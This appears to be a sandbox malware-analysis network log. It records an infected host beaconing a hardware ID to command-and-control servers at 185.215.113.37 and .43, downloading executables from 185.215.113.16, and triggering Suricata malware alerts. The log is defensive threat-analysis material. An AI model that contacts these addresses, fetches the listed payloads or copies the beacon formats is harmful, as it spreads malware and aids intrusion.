Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFBKFBGIIIDGDGCFCGIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 42 4b 46 42 47 49 49 49 44 47 44 47 43 46 43 47 49 2d 2d 0d 0a Data Ascii: ------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------EBFBKFBGIIIDGDGCFCGIContent-Disposition: form-data; name="build"doma------EBFBKFBGIIIDGDGCFCGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 34 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001140001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCAEBFIJKEBGHIDHIEGIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 45 42 46 49 4a 4b 45 42 47 48 49 44 48 49 45 47 49 2d 2d 0d 0a Data Ascii: ------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------FCAEBFIJKEBGHIDHIEGIContent-Disposition: form-data; name="build"doma------FCAEBFIJKEBGHIDHIEGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 31 34 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001141001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IECFIEGDBKJKFIDHIECGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 46 49 45 47 44 42 4b 4a 4b 46 49 44 48 49 45 43 47 2d 2d 0d 0a Data Ascii: ------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------IECFIEGDBKJKFIDHIECGContent-Disposition: form-data; name="build"doma------IECFIEGDBKJKFIDHIECG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFIHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 43 46 48 44 48 49 49 49 45 43 42 47 43 41 4b 46 49 2d 2d 0d 0a Data Ascii: ------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------BAFCFHDHIIIECBGCAKFIContent-Disposition: form-data; name="build"doma------BAFCFHDHIIIECBGCAKFI--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="build"doma------GDHDHJEBGHJKFIECBGCB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 34 42 37 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B74B75882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="build"doma------CFBFHIEBKJKFHIEBFBAE--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBKHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 46 42 41 45 42 4b 4b 45 42 46 49 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------EGIDAFBAEBKKEBFIJEBKContent-Disposition: form-data; name="build"doma------EGIDAFBAEBKKEBFIJEBK--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEBAAKJDHIECAAFHCHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 31 42 41 30 44 38 46 42 46 37 33 38 39 37 32 35 30 38 33 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 42 41 41 4b 4a 44 48 49 45 43 41 41 46 48 43 2d 2d 0d 0a Data Ascii: ------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="hwid"E51BA0D8FBF73897250831------IDHIEBAAKJDHIECAAFHCContent-Disposition: form-data; name="build"doma------IDHIEBAAKJDHIECAAFHC--

Source: Joe Sandbox View	IP Address: 104.21.53.8 104.21.53.8
Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: AKAMAI-ASUS AKAMAI-ASUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49772 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49997 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50001 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50011 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50016 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50016 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50013 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50093 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
